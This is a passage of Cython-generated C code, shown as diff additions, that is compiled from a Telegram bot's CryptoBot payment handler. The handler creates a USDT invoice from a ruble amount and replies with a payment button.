__Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_1); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 4; + return __pyx_r; + __pyx_L16_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 108, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 108, __pyx_L1_error) + } + } + + /* "handlers/payments/cryprobot_pay.py":110 + * await state.set_state(ReplenishBalanceState.waiting_for_payment_confirmation_crypto) + * + * try: # <<<<<<<<<<<<<< + * invoice = await crypto.create_invoice( + * asset="USDT", + */ + { + __Pyx_ExceptionSave(&__pyx_t_9, &__pyx_t_8, &__pyx_t_7); + __Pyx_XGOTREF(__pyx_t_9); + __Pyx_XGOTREF(__pyx_t_8); + __Pyx_XGOTREF(__pyx_t_7); + /*try:*/ { + + /* "handlers/payments/cryprobot_pay.py":111 + * + * try: + * invoice = await crypto.create_invoice( # <<<<<<<<<<<<<< + * asset="USDT", + * amount=str(int(amount // RUB_TO_USDT)), + */ + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_crypto_2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 111, __pyx_L17_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_create_invoice); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 111, __pyx_L17_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + + /* "handlers/payments/cryprobot_pay.py":112 + * try: + * invoice = await crypto.create_invoice( + * asset="USDT", # <<<<<<<<<<<<<< + * amount=str(int(amount // RUB_TO_USDT)), + * description=f" {amount} ", + */ + __pyx_t_1 = __Pyx_PyDict_NewPresized(4); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 112, __pyx_L17_error) + __Pyx_GOTREF(__pyx_t_1); + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_asset, __pyx_n_u_USDT) < 0) __PYX_ERR(0, 112, __pyx_L17_error) + + /* "handlers/payments/cryprobot_pay.py":113 + * invoice = await crypto.create_invoice( + * asset="USDT", + * amount=str(int(amount // RUB_TO_USDT)), # <<<<<<<<<<<<<< + * description=f" {amount} ", + * payload=f"{callback_query.message.chat.id}:{int(amount)}", + */ + __Pyx_GetModuleGlobalName(__pyx_t_11, __pyx_n_s_RUB_TO_USDT); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 113, __pyx_L17_error) + __Pyx_GOTREF(__pyx_t_11); + __pyx_t_2 = PyNumber_FloorDivide(__pyx_cur_scope->__pyx_v_amount, __pyx_t_11); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 113, __pyx_L17_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + __pyx_t_11 = __Pyx_PyNumber_Int(__pyx_t_2); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 113, __pyx_L17_error) + __Pyx_GOTREF(__pyx_t_11); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_PyObject_Unicode(__pyx_t_11); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 113, __pyx_L17_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_amount, __pyx_t_2) < 0) __PYX_ERR(0, 112, __pyx_L17_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/cryprobot_pay.py":114 + * asset="USDT", + * amount=str(int(amount // RUB_TO_USDT)), + * description=f" {amount} ", # <<<<<<<<<<<<<< + * payload=f"{callback_query.message.chat.id}:{int(amount)}", + * ) + */ + __pyx_t_2 = PyTuple_New(3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 114, __pyx_L17_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_3 = 0; + __pyx_t_14 = 127; + __Pyx_INCREF(__pyx_kp_u__10); + __pyx_t_14 = (65535 > __pyx_t_14) ? 65535 : __pyx_t_14; + __pyx_t_3 += 22; + __Pyx_GIVEREF(__pyx_kp_u__10); + PyTuple_SET_ITEM(__pyx_t_2, 0, __pyx_kp_u__10); + __pyx_t_11 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_amount, __pyx_empty_unicode); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 114, __pyx_L17_error) + __Pyx_GOTREF(__pyx_t_11); + __pyx_t_14 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_11) > __pyx_t_14) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_11) : __pyx_t_14; + __pyx_t_3 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_11); + __Pyx_GIVEREF(__pyx_t_11); + PyTuple_SET_ITEM(__pyx_t_2, 1, __pyx_t_11); + __pyx_t_11 = 0; + __Pyx_INCREF(__pyx_kp_u__11); + __pyx_t_14 = (65535 > __pyx_t_14) ? 65535 : __pyx_t_14; + __pyx_t_3 += 4; + __Pyx_GIVEREF(__pyx_kp_u__11); + PyTuple_SET_ITEM(__pyx_t_2, 2, __pyx_kp_u__11); + __pyx_t_11 = __Pyx_PyUnicode_Join(__pyx_t_2, 3, __pyx_t_3, __pyx_t_14); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 114, __pyx_L17_error) + __Pyx_GOTREF(__pyx_t_11); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_description, __pyx_t_11) < 0) __PYX_ERR(0, 112, __pyx_L17_error) + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + + /* "handlers/payments/cryprobot_pay.py":115 + * amount=str(int(amount // RUB_TO_USDT)), + * description=f" {amount} ", + * payload=f"{callback_query.message.chat.id}:{int(amount)}", # <<<<<<<<<<<<<< + * ) + * + */ + __pyx_t_11 = PyTuple_New(3); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 115, __pyx_L17_error) + __Pyx_GOTREF(__pyx_t_11); + __pyx_t_3 = 0; + __pyx_t_14 = 127; + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 115, __pyx_L17_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_13 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_chat); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 115, __pyx_L17_error) + __Pyx_GOTREF(__pyx_t_13); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_13, __pyx_n_s_id); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 115, __pyx_L17_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; + __pyx_t_13 = __Pyx_PyObject_FormatSimple(__pyx_t_2, __pyx_empty_unicode); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 115, __pyx_L17_error) + __Pyx_GOTREF(__pyx_t_13); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_14 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_13) > __pyx_t_14) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_13) : __pyx_t_14; + __pyx_t_3 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_13); + __Pyx_GIVEREF(__pyx_t_13); + PyTuple_SET_ITEM(__pyx_t_11, 0, __pyx_t_13); + __pyx_t_13 = 0; + __Pyx_INCREF(__pyx_kp_u__12); + __pyx_t_3 += 1; + __Pyx_GIVEREF(__pyx_kp_u__12); + PyTuple_SET_ITEM(__pyx_t_11, 1, __pyx_kp_u__12); + __pyx_t_13 = __Pyx_PyNumber_Int(__pyx_cur_scope->__pyx_v_amount); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 115, __pyx_L17_error) + __Pyx_GOTREF(__pyx_t_13); + __pyx_t_2 = __Pyx_PyObject_FormatSimple(__pyx_t_13, __pyx_empty_unicode); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 115, __pyx_L17_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; + __pyx_t_14 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_2) > __pyx_t_14) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_2) : __pyx_t_14; + __pyx_t_3 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_2); + __Pyx_GIVEREF(__pyx_t_2); + PyTuple_SET_ITEM(__pyx_t_11, 2, __pyx_t_2); + __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_PyUnicode_Join(__pyx_t_11, 3, __pyx_t_3, __pyx_t_14); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 115, __pyx_L17_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_payload, __pyx_t_2) < 0) __PYX_ERR(0, 112, __pyx_L17_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/cryprobot_pay.py":111 + * + * try: + * invoice = await crypto.create_invoice( # <<<<<<<<<<<<<< + * asset="USDT", + * amount=str(int(amount // RUB_TO_USDT)), + */ + __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_5, __pyx_empty_tuple, __pyx_t_1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 111, __pyx_L17_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_2); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_t_7); + __pyx_cur_scope->__pyx_t_0 = __pyx_t_7; + __Pyx_XGIVEREF(__pyx_t_8); + __pyx_cur_scope->__pyx_t_1 = __pyx_t_8; + __Pyx_XGIVEREF(__pyx_t_9); + __pyx_cur_scope->__pyx_t_2 = __pyx_t_9; + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 5; + return __pyx_r; + __pyx_L23_resume_from_await:; + __pyx_t_7 = __pyx_cur_scope->__pyx_t_0; + __pyx_cur_scope->__pyx_t_0 = 0; + __Pyx_XGOTREF(__pyx_t_7); + __pyx_t_8 = __pyx_cur_scope->__pyx_t_1; + __pyx_cur_scope->__pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_t_8); + __pyx_t_9 = __pyx_cur_scope->__pyx_t_2; + __pyx_cur_scope->__pyx_t_2 = 0; + __Pyx_XGOTREF(__pyx_t_9); + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 111, __pyx_L17_error) + __pyx_t_2 = __pyx_sent_value; __Pyx_INCREF(__pyx_t_2); + } else { + __pyx_t_2 = NULL; + if (__Pyx_PyGen_FetchStopIterationValue(&__pyx_t_2) < 0) __PYX_ERR(0, 111, __pyx_L17_error) + __Pyx_GOTREF(__pyx_t_2); + } + __Pyx_GIVEREF(__pyx_t_2); + __pyx_cur_scope->__pyx_v_invoice = __pyx_t_2; + __pyx_t_2 = 0; + + /* "handlers/payments/cryprobot_pay.py":118 + * ) + * + * if hasattr(invoice, "bot_invoice_url"): # <<<<<<<<<<<<<< + * builder = InlineKeyboardBuilder() + * builder.row( + */ + __pyx_t_4 = __Pyx_HasAttr(__pyx_cur_scope->__pyx_v_invoice, __pyx_n_u_bot_invoice_url); if (unlikely(__pyx_t_4 == ((int)-1))) __PYX_ERR(0, 118, __pyx_L17_error) + if (__pyx_t_4) { + + /* "handlers/payments/cryprobot_pay.py":119 + * + * if hasattr(invoice, "bot_invoice_url"): + * builder = InlineKeyboardBuilder() # <<<<<<<<<<<<<< + * builder.row( + * InlineKeyboardButton(text="", url=invoice.bot_invoice_url) + */ + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_InlineKeyboardBuilder); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 119, __pyx_L17_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_5 = NULL; + __pyx_t_6 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_1))) { + __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_1); + if (likely(__pyx_t_5)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); + __Pyx_INCREF(__pyx_t_5); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_1, function); + __pyx_t_6 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_5, NULL}; + __pyx_t_2 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_6, 0+__pyx_t_6); + __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; + if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 119, __pyx_L17_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + } + __Pyx_GIVEREF(__pyx_t_2); + __pyx_cur_scope->__pyx_v_builder = __pyx_t_2; + __pyx_t_2 = 0; + + /* "handlers/payments/cryprobot_pay.py":120 + * if hasattr(invoice, "bot_invoice_url"): + * builder = InlineKeyboardBuilder() + * builder.row( # <<<<<<<<<<<<<< + * InlineKeyboardButton(text="", url=invoice.bot_invoice_url) + * ) + */ + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 120, __pyx_L17_error) + __Pyx_GOTREF(__pyx_t_1); + + /* "handlers/payments/cryprobot_pay.py":121 + * builder = InlineKeyboardBuilder() + * builder.row( + * InlineKeyboardButton(text="", url=invoice.bot_invoice_url) # <<<<<<<<<<<<<< + * ) + * builder.row(InlineKeyboardButton(text=" ", callback_data="pay")) + */ + __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 121, __pyx_L17_error) + __Pyx_GOTREF(__pyx_t_5); + __pyx_t_11 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 121, __pyx_L17_error) + __Pyx_GOTREF(__pyx_t_11); + if (PyDict_SetItem(__pyx_t_11, __pyx_n_s_text, __pyx_n_u__13) < 0) __PYX_ERR(0, 121, __pyx_L17_error) + __pyx_t_13 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_invoice, __pyx_n_s_bot_invoice_url); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 121, __pyx_L17_error) + __Pyx_GOTREF(__pyx_t_13); + if (PyDict_SetItem(__pyx_t_11, __pyx_n_s_url, __pyx_t_13) < 0) __PYX_ERR(0, 121, __pyx_L17_error) + __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; + __pyx_t_13 = __Pyx_PyObject_Call(__pyx_t_5, __pyx_empty_tuple, __pyx_t_11); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 121, __pyx_L17_error) + __Pyx_GOTREF(__pyx_t_13); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + __pyx_t_11 = NULL; + __pyx_t_6 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_1))) { + __pyx_t_11 = PyMethod_GET_SELF(__pyx_t_1); + if (likely(__pyx_t_11)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); + __Pyx_INCREF(__pyx_t_11); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_1, function); + __pyx_t_6 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_11, __pyx_t_13}; + __pyx_t_2 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_6, 1+__pyx_t_6); + __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; + __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; + if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 120, __pyx_L17_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + } + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/cryprobot_pay.py":123 + * InlineKeyboardButton(text="", url=invoice.bot_invoice_url) + * ) + * builder.row(InlineKeyboardButton(text=" ", callback_data="pay")) # <<<<<<<<<<<<<< + * await callback_query.message.answer( + * text=f" {amount} .", + */ + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 123, __pyx_L17_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_GetModuleGlobalName(__pyx_t_13, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 123, __pyx_L17_error) + __Pyx_GOTREF(__pyx_t_13); + __pyx_t_11 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 123, __pyx_L17_error) + __Pyx_GOTREF(__pyx_t_11); + if (PyDict_SetItem(__pyx_t_11, __pyx_n_s_text, __pyx_kp_u__2) < 0) __PYX_ERR(0, 123, __pyx_L17_error) + if (PyDict_SetItem(__pyx_t_11, __pyx_n_s_callback_data, __pyx_n_u_pay) < 0) __PYX_ERR(0, 123, __pyx_L17_error) + __pyx_t_5 = __Pyx_PyObject_Call(__pyx_t_13, __pyx_empty_tuple, __pyx_t_11); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 123, __pyx_L17_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + __pyx_t_11 = NULL; + __pyx_t_6 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_1))) { + __pyx_t_11 = PyMethod_GET_SELF(__pyx_t_1); + if (likely(__pyx_t_11)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); + __Pyx_INCREF(__pyx_t_11); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_1, function); + __pyx_t_6 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_11, __pyx_t_5}; + __pyx_t_2 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_6, 1+__pyx_t_6); + __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 123, __pyx_L17_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + } + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/cryprobot_pay.py":124 + * ) + * builder.row(InlineKeyboardButton(text=" ", callback_data="pay")) + * await callback_query.message.answer( # <<<<<<<<<<<<<< + * text=f" {amount} .", + * reply_markup=builder.as_markup(), + */ + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 124, __pyx_L17_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_answer); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 124, __pyx_L17_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/cryprobot_pay.py":125 + * builder.row(InlineKeyboardButton(text=" ", callback_data="pay")) + * await callback_query.message.answer( + * text=f" {amount} .", # <<<<<<<<<<<<<< + * reply_markup=builder.as_markup(), + * ) + */ + __pyx_t_2 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 125, __pyx_L17_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_5 = PyTuple_New(3); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 125, __pyx_L17_error) + __Pyx_GOTREF(__pyx_t_5); + __pyx_t_3 = 0; + __pyx_t_14 = 127; + __Pyx_INCREF(__pyx_kp_u__14); + __pyx_t_14 = (65535 > __pyx_t_14) ? 65535 : __pyx_t_14; + __pyx_t_3 += 25; + __Pyx_GIVEREF(__pyx_kp_u__14); + PyTuple_SET_ITEM(__pyx_t_5, 0, __pyx_kp_u__14); + __pyx_t_11 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_amount, __pyx_empty_unicode); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 125, __pyx_L17_error) + __Pyx_GOTREF(__pyx_t_11); + __pyx_t_14 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_11) > __pyx_t_14) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_11) : __pyx_t_14; + __pyx_t_3 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_11); + __Pyx_GIVEREF(__pyx_t_11); + PyTuple_SET_ITEM(__pyx_t_5, 1, __pyx_t_11); + __pyx_t_11 = 0; + __Pyx_INCREF(__pyx_kp_u__15); + __pyx_t_14 = (65535 > __pyx_t_14) ? 65535 : __pyx_t_14; + __pyx_t_3 += 8; + __Pyx_GIVEREF(__pyx_kp_u__15); + PyTuple_SET_ITEM(__pyx_t_5, 2, __pyx_kp_u__15); + __pyx_t_11 = __Pyx_PyUnicode_Join(__pyx_t_5, 3, __pyx_t_3, __pyx_t_14); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 125, __pyx_L17_error) + __Pyx_GOTREF(__pyx_t_11); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_text, __pyx_t_11) < 0) __PYX_ERR(0, 125, __pyx_L17_error) + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + + /* "handlers/payments/cryprobot_pay.py":126 + * await callback_query.message.answer( + * text=f" {amount} .", + * reply_markup=builder.as_markup(), # <<<<<<<<<<<<<< + * ) + * else: + */ + __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_as_markup); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 126, __pyx_L17_error) + __Pyx_GOTREF(__pyx_t_5); + __pyx_t_13 = NULL; + __pyx_t_6 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_5))) { + __pyx_t_13 = PyMethod_GET_SELF(__pyx_t_5); + if (likely(__pyx_t_13)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_5); + __Pyx_INCREF(__pyx_t_13); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_5, function); + __pyx_t_6 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_13, NULL}; + __pyx_t_11 = __Pyx_PyObject_FastCall(__pyx_t_5, __pyx_callargs+1-__pyx_t_6, 0+__pyx_t_6); + __Pyx_XDECREF(__pyx_t_13); __pyx_t_13 = 0; + if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 126, __pyx_L17_error) + __Pyx_GOTREF(__pyx_t_11); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + } + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_reply_markup, __pyx_t_11) < 0) __PYX_ERR(0, 125, __pyx_L17_error) + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + + /* "handlers/payments/cryprobot_pay.py":124 + * ) + * builder.row(InlineKeyboardButton(text=" ", callback_data="pay")) + * await callback_query.message.answer( # <<<<<<<<<<<<<< + * text=f" {amount} .", + * reply_markup=builder.as_markup(), + */ + __pyx_t_11 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_empty_tuple, __pyx_t_2); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 124, __pyx_L17_error) + __Pyx_GOTREF(__pyx_t_11); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_11); + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_t_7); + __pyx_cur_scope->__pyx_t_0 = __pyx_t_7; + __Pyx_XGIVEREF(__pyx_t_8); + __pyx_cur_scope->__pyx_t_1 = __pyx_t_8; + __Pyx_XGIVEREF(__pyx_t_9); + __pyx_cur_scope->__pyx_t_2 = __pyx_t_9; + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 6; + return __pyx_r; + __pyx_L25_resume_from_await:; + __pyx_t_7 = __pyx_cur_scope->__pyx_t_0; + __pyx_cur_scope->__pyx_t_0 = 0; + __Pyx_XGOTREF(__pyx_t_7); + __pyx_t_8 = __pyx_cur_scope->__pyx_t_1; + __pyx_cur_scope->__pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_t_8); + __pyx_t_9 = __pyx_cur_scope->__pyx_t_2; + __pyx_cur_scope->__pyx_t_2 = 0; + __Pyx_XGOTREF(__pyx_t_9); + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 124, __pyx_L17_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 124, __pyx_L17_error) + } + } + + /* "handlers/payments/cryprobot_pay.py":118 + * ) + * + * if hasattr(invoice, "bot_invoice_url"): # <<<<<<<<<<<<<< + * builder = InlineKeyboardBuilder() + * builder.row( + */ + goto __pyx_L24; + } + + /* "handlers/payments/cryprobot_pay.py":129 + * ) + * else: + * await callback_query.message.answer(" .") # <<<<<<<<<<<<<< + * except Exception as e: + * logger.error(f" : {e}") + */ + /*else*/ { + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 129, __pyx_L17_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_answer); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 129, __pyx_L17_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = NULL; + __pyx_t_6 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_1))) { + __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_1); + if (likely(__pyx_t_2)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); + __Pyx_INCREF(__pyx_t_2); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_1, function); + __pyx_t_6 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_2, __pyx_kp_u__16}; + __pyx_t_11 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_6, 1+__pyx_t_6); + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 129, __pyx_L17_error) + __Pyx_GOTREF(__pyx_t_11); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_11); + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_t_7); + __pyx_cur_scope->__pyx_t_0 = 